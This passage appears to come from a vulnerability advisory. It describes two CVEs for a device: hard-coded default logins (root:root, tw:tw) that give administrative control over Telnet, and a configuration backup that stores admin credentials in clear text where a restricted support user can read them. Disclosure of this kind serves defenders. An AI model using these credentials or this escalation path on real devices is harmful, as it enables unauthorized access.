*2. Use of Default, Hard­Coded Credentials**CVE-ID*: CVE-2015-7246

The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login ­ tw ­ is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.

*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247

Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in clear­text and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
